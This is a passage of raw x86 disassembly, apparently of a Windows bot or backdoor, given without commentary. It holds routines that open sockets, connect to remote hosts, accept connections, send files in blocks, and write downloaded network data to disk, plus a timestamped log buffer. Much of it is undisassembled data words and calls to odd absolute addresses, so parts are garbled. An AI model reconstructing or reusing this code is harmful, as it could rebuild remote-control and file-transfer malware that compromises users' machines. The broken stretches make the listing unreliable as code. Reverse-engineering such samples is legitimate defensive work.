eax, [ebp-10Ch] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41578B lea eax, [ebp-210h] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jz short loc_415765 loc_41578B: ; CODE XREF: ___:00415778j lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_415765 mov eax, [ebp-4] neg eax sbb eax, eax loc_4157B6: ; CODE XREF: ___:004156F5j ; ___:0041575Cj ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h, 6AEC4D8Dh dd 26A5104h, 0A35053h, 0FF004CF2h, 4CB9C415h, 0B0358B00h dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0E415FF50h dd 53004CB9h, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CBA6415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA7C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0F204BF83h, 0D068004Ch, 570042CDh, 68D9E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 0E4685750h, 5700437Eh, 0E8F04589h, 689Ah dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h dd 4CB9E415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CF1A0h, 656BE8h, 0FFFFBE00h dd 5C60000h, 4CF1A0h, 685645h, 0C6000004h, 4CF1A905h, 5C60600h dd 4CF1A1h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9E4h dd 0A366286Ah, 4CF1A4h, 0B9E415FFh, 0D80004Ch, 4CF1A8h dd 901D39FFh, 66004CF1h, 4CF1A2A3h, 1D896600h, 4CF1A6h dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CEB7068h, 2415FF00h, 0A3004CBAh dd 4CF1ACh, 6808458Bh, 4000h, 4CF1B0A3h, 0C11D8800h, 0FF004CF1h dd 4CB9E415h, 66535600h, 4CF1C2A3h, 3123E800h, 0F88B0000h dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9E015FFh dd 0B8A3004Ch, 0A0004CF1h, 4CF1C0h, 24087D8Bh, 6A500C0Fh dd 0F1C0A214h, 8B66004Ch, 1D89F045h, 4CF1BCh, 0C61D8966h dd 66004CF1h, 4CF1B6A3h, 0DC3D8900h, 88004CF1h, 4CF1E01Dh dd 0E105C600h, 6004CF1h, 0B9E415FFh, 0A366004Ch, 4CF1E2h dd 0F1B6A166h, 0C766004Ch, 4CF1C805h, 89000200h, 4CF1CC3Dh dd 0CAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 308CE8h, 50595900h, 0B9E415FFh, 0A366004Ch dd 4CF1B4h, 4CF1ACA1h, 0F1D8A300h, 5C6004Ch, 4CF1C1h, 0BC1D8902h dd 0EB004CF1h, 0C653561Fh, 4CF1C105h, 56E81000h, 59000030h dd 15FF5059h, 4CB9E4h, 0A3C0B70Fh, 4CF1BCh, 0A405FF66h dd 0FF004CF1h, 4CF1B805h, 0B6A16600h, 6A004CF1h, 0B4BE5905h dd 0BF004CF1h, 4CF1E4h, 0AA1D8966h, 66004CF1h, 0F1C41D89h dd 146A004Ch, 0A0BEA5F3h, 66004CF1h, 4CF1CAA3h, 90E85600h dd 6AFFFF4Eh, 0F1D86820h, 0A366004Ch, 4CF1AAh, 0FF4E7EE8h dd 10C483FFh, 0F1C4A366h, 106A004Ch, 4CF1C868h, 286A5300h dd 35FF56h, 0FF004CF2h, 4CBA4815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 0AA32E8FFh, 2B900227h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 25B2BEE8h dd 0FDC2E902h, 5E5FFFFFh, 4CF204B8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43DBA0 mov edi, 0B8h loc_415C54: ; CODE XREF: sub_415C40+33j cmp byte ptr [esi], 0 jz short loc_415C77 push [ebp+arg_0] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_415C77 inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E720 jl short loc_415C54 jmp short loc_415CB9 ; --------------------------------------------------------------------------- loc_415C77: ; CODE XREF: sub_415C40+17j ; sub_415C40+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43DBA0[esi] push ebx call sub_41BF70 push 17h push [ebp+arg_0] push ebx call sub_41BFD0 push 9Fh lea eax, dword_43DBB8[esi] push [ebp+arg_4] push eax call sub_41BFD0 add esp, 24h inc dword_4294D0 pop ebx loc_415CB9: ; CODE XREF: sub_415C40+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415C40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_437F00 push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h xor edi, edi mov esi, offset dword_43DBA0 loc_415CEA: ; CODE XREF: sub_415CC0+72j cmp byte ptr [esi], 0 jz short loc_415D25 lea eax, [esi+18h] push eax push esi push edi push offset dword_437EEC lea eax, [ebp+var_200] push 200h push eax call sub_41C360 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch loc_415D25: ; CODE XREF: sub_415CC0+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E720 jl short loc_415CEA pop edi pop esi leave retn sub_415CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D38 proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2790000h mov ebx, offset dword_4D3604 mov edi, 80h mov esi, offset dword_4CF604 loc_415D5A: ; CODE XREF: sub_415D38+3Dj cmp byte ptr [ebx], 0 jz short loc_415D71 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BFD0 add esp, 0Ch loc_415D71: ; CODE XREF: sub_415D38+25j sub ebx, edi cmp ebx, esi jge short loc_415D5A movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C360 add esp, 28h pop edi pop esi pop ebx leave retn sub_415D38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_408967p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41CB70 lea eax, [ebp+var_80] push eax call sub_415D38 add esp, 14h leave retn sub_415DAC endp ; =============== S U B R O U T I N E ======================================= sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CF604 xor ecx, ecx loc_415DDF: ; CODE XREF: sub_415DD8+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D3604 jl short loc_415DDF cmp [esp+arg_C], ecx jnz short loc_415E0D push ecx push [esp+4+arg_8] push offset dword_437F4C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409869 add esp, 14h loc_415E0D: ; CODE XREF: sub_415DD8+19j push offset dword_437F38 call sub_415D38 pop ecx retn sub_415DD8 endp ; =============== S U B R O U T I N E ======================================= sub_415E19 proc near ; CODE XREF: ___:0040E1FFp arg_0 = dword ptr 4 push esi mov esi, offset dword_4CF604 loc_415E1F: ; CODE XREF: sub_415E19+27j cmp byte ptr [esi], 0 jz short loc_415E34 push [esp+4+arg_0] push esi call sub_4185D3 pop ecx test eax, eax pop ecx jnz short loc_415E46 loc_415E34: ; CODE XREF: sub_415E19+9j add esi, 80h cmp esi, offset dword_4D3604 jl short loc_415E1F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415E46: ; CODE XREF: sub_415E19+19j push 1 pop eax pop esi retn sub_415E19 endp ; --------------------------------------------------------------------------- byte_415E4B db 55h ; DATA XREF: sub_401ACD+2844o ; --------------------------------------------------------------------------- mov ebp, esp sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_415E9E push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_437F7C push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415E9E: ; CODE XREF: ___:00415E7Ej cmp byte ptr [ebp-98h], 0 jz short loc_415EBE lea eax, [ebp-98h] push eax call sub_41C159 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415EBE mov [ebp-8], eax loc_415EBE: ; CODE XREF: ___:00415EA5j ; ___:00415EB9j and dword ptr [ebp+8], 0 mov esi, offset dword_4CF604 loc_415EC7: ; CODE XREF: ___:00415F1Fj mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415F21 cmp byte ptr [esi], 0 jz short loc_415F10 cmp byte ptr [ebp-98h], 0 jz short loc_415EF6 cmp dword ptr [ebp-4], 0 jnz short loc_415EF6 lea eax, [ebp-98h] push eax push esi call sub_4185D3 pop ecx test eax, eax pop ecx jz short loc_415F10 loc_415EF6: ; CODE XREF: ___:00415EDBj ; ___:00415EE1j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F10: ; CODE XREF: ___:00415ED2j ; ___:00415EF4j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D3604 jl short loc_415EC7 loc_415F21: ; CODE XREF: ___:00415ECDj lea eax, [ebp-31Ch] push offset dword_437F60 push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_415F5B push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F5B: ; CODE XREF: ___:00415F39j lea eax, [ebp-31Ch] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h dd 22CA088h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F7A proc near ; CODE XREF: ___:0041661Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA64 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415FF6 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9E4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA24 cmp eax, esi jnz short loc_415FDB push [ebp+arg_0] call dword_4CBA68 test eax, eax jz short loc_415FF6 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415FDB: ; CODE XREF: sub_415F7A+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB98C cmp eax, esi jnz short loc_415FFA push edi call dword_4CBA7C loc_415FF6: ; CODE XREF: sub_415F7A+1Bj ; sub_415F7A+58j mov eax, esi jmp short loc_415FFC ; --------------------------------------------------------------------------- loc_415FFA: ; CODE XREF: sub_415F7A+73j mov eax, edi loc_415FFC: ; CODE XREF: sub_415F7A+7Ej pop edi pop esi leave retn sub_415F7A endp ; --------------------------------------------------------------------------- dword_416000 dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh ; DATA XREF: sub_401ACD+A02o dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh dd 4C858D52h, 68FFFFEEh, 437FFCh, 6214E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh, 6DE89056h dd 68022C9Fh, 43DB98h, 4113E853h, 83590000h, 7559FFF8h dd 4C858D59h, 68FFFFEEh, 437FCCh, 61B0E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FC52E850h, 5359FFFFh, 0BA7C15FFh, 75FF004Ch, 55E0E8F0h dd 5659FFFFh, 9F02E890h, 646A022Ch, 0ADE9E890h, 0FF330225h dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9FC15FFh, 0C085004Ch dd 858D387Eh, 0FFFFEE4Ch, 42A08468h, 5DE85000h, 8D000067h dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h dd 0AD91E890h, 0A6A0225h, 0FF549DE8h, 59C085FFh, 858DA375h dd 0FFFFEE4Ch, 437F9868h, 0EBE85000h, 39000060h, 5959F87Dh dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFB8FE8h dd 0FF5359FFh, 4CBA7C15h, 0F075FF00h, 0FF551DE8h, 905759FFh dd 2C9E3FE8h db 2 ; --------------------------------------------------------------------------- loc_4161C1: ; DATA XREF: sub_401ACD+7696o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CBA64 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_41620F push offset unk_4380FC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41620F: ; CODE XREF: ___:00416203j push 10h lea eax, [ebp-30h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CB9E4 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CBA10 test eax, eax jz short loc_41624D push offset unk_4380D8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41624D: ; CODE XREF: ___:00416241j lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CB988 push dword ptr [ebp-2Eh] call dword_4CB914 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41B9C0 pop ecx loc_41627F: ; CODE XREF: ___:004162B0j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_416292 push 5Fh pop eax jmp short loc_416295 ; --------------------------------------------------------------------------- loc_416292: ; CODE XREF: ___:0041628Bj movsx eax, al loc_416295: ; CODE XREF: ___:00416290j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41B9C0 cmp [ebp+8], eax pop ecx jbe short loc_41627F push ebx push edi call dword_4CBA0C test eax, eax jz short loc_4162C8 push offset unk_437FFC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162C8: ; CODE XREF: ___:004162BCj push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax nop call near ptr 27106E5h cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4162F2 push offset unk_4380B8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162F2: ; CODE XREF: ___:004162E6j push esi push eax nop call near ptr 2730A5Bh mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AA06 pop ecx push eax call dword_4CBA24 push eax call dword_4CB9E0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_4380A0 push eax call sub_41C266 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CB9CC test eax, eax jg short loc_4163A2 push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_438088 push eax push dword ptr [ebp-1FCh] call sub_409869 jmp loc_4164C6 ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: ___:00416380j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_4163DB push offset unk_438064 loc_4163C8: ; CODE XREF: ___:0041620Aj ; ___:00416248j ... lea eax, [ebp-3FCh] push eax call sub_41C266 pop ecx pop ecx jmp loc_4164C9 ; --------------------------------------------------------------------------- loc_4163DB: ; CODE XREF: ___:004163C1j push edi call dword_4CBA7C cmp [ebp+8], esi jz loc_41648D mov edi, 400h loc_4163F0: ; CODE XREF: ___:00416484j mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_4163FD mov [ebp-4], eax loc_4163FD: ; CODE XREF: ___:004163F8j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41BF70 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] call near ptr 2770000h nop lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] call near ptr 2700000h nop push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CBA34 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CB9FC cmp eax, ebx jl loc_416522 mov eax, [ebp-4] cmp eax, ebx jl loc_416522 sub [ebp+8], eax jnz loc_4163F0 mov edi, [ebp-18h] loc_41648D: ; CODE XREF: ___:004163E5j push dword ptr [ebp-8] nop call near ptr 2660830h push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416CC9 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CBA70 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_438038 push eax call sub_41C266 loc_4164C6: ; CODE XREF: ___:0041639Dj add esp, 14h loc_4164C9: ; CODE XREF: ___:004163D6j cmp [ebp-50h], esi jnz short loc_4164EE push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 14h loc_4164EE: ; CODE XREF: ___:004164CCj lea eax, [ebp-3FCh] push eax call sub_415D38 cmp edi, esi pop ecx jbe short loc_416506 push edi call dword_4CBA7C loc_416506: ; CODE XREF: ___:004164FDj push dword ptr [ebp-1F8h] call dword_4CBA7C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push esi call near ptr 26E0000h nop loc_416522: ; CODE XREF: ___:00416470j ; ___:0041647Bj push esi mov esi, offset dword_438020 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409869 push esi call sub_415D38 add esp, 18h push dword ptr [ebp-1F8h] call dword_4CBA7C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push ebx call near ptr 26E0000h nop loc_416563: ; DATA XREF: sub_401ACD+798o push ebp mov ebp, esp mov eax, 14C4h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2670A4Bh lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429ACC push eax call sub_41C266 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 27106E5h cmp eax, 0FFFFFFFFh jnz short loc_4165ED push offset unk_43819C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_4165ED: ; CODE XREF: ___:004165E4j push eax call near ptr 2660830h nop lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41BEA2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_416615 push offset unk_43816C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_416615: ; CODE XREF: ___:0041660Cj push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415F7A pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_416646 push offset unk_43814C loc_416633: ; CODE XREF: ___:004165EBj ; ___:00416613j lea eax, [ebp-4C4h] push eax call sub_41C266 pop ecx pop ecx jmp loc_416742 ; --------------------------------------------------------------------------- loc_416646: ; CODE XREF: ___:0041662Cj mov esi, 1000h loc_41664B: ; CODE XREF: ___:004166B1j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CB9FC mov edi, eax cmp edi, ebx jz loc_416712 cmp edi, 0FFFFFFFFh jz short loc_4166B3 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41DB54 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CB9E0 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CBA34 jmp short loc_41664B ; --------------------------------------------------------------------------- loc_4166B3: ; CODE XREF: ___:0041667Bj lea eax, [ebp-4C4h] push offset dword_438020 push eax call sub_41C266 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 lea eax, [ebp-4C4h] push eax call sub_415D38 push dword ptr [ebp-4] call sub_41BA3B add esp, 24h push dword ptr [ebp+8] call dword_4CBA7C push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push 1 nop call near ptr 26E0000h loc_416712: ; CODE XREF: ___:00416672j mov eax, [ebp-8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_438120 push eax call sub_41C266 add esp, 14h loc_416742: ; CODE XREF: ___:00416641j cmp [ebp-14h], ebx jnz short loc_416767 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 add esp, 14h loc_416767: ; CODE XREF: ___:00416745j lea eax, [ebp-4C4h] push eax call sub_415D38 cmp [ebp-4], ebx pop ecx jz short loc_416782 push dword ptr [ebp-4] call sub_41BA3B pop ecx loc_416782: ; CODE XREF: ___:00416777j cmp [ebp+8], ebx jbe short loc_416790 push dword ptr [ebp+8] call dword_4CBA7C loc_416790: ; CODE XREF: ___:00416785j push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push ebx call near ptr 26E0000h nop loc_4167A0: ; DATA XREF: sub_401ACD+619Bo ; sub_401ACD+69D9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CB994 call dword_4CB8E8 cmp eax, esi mov [ebp-18h], eax jz loc_416C2C push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 27106E5h cmp eax, edi mov [ebp-20h], eax jnb short loc_416867 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_438368 push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_41684A push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_41684A: ; CODE XREF: ___:00416828j lea eax, [ebp-510h] push eax call sub_415D38 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 26E0000h loc_416867: ; CODE XREF: ___:00416808j xor edi, edi nop call near ptr 2690648h mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41BEB5 pop ecx mov [ebp-1Ch], eax loc_416881: ; CODE XREF: ___:00416954j push 200h lea eax, [ebp-510h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CB8F0 cmp [ebp-34h], esi jz short loc_4168C5 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_416C92 pop ecx pop ecx loc_4168C5: ; CODE XREF: ___:004168B2j lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 27007FFh nop cmp edi, ebx jnb short loc_416903 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_4168ED mov eax, [ebp+8] loc_4168ED: ; CODE XREF: ___:004168E8j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41CD20 add esp, 0Ch loc_416903: ; CODE XREF: ___:004168DFj add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416910 cmp edi, [ebp-3Ch] ja short loc_41695A loc_416910: ; CODE XREF: ___:00416909j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_41692A shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_438340 jmp short loc_41693A ; --------------------------------------------------------------------------- loc_41692A: ; CODE XREF: ___:00416916j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_438318 loc_41693A: ; CODE XREF: ___:00416928j mov eax, 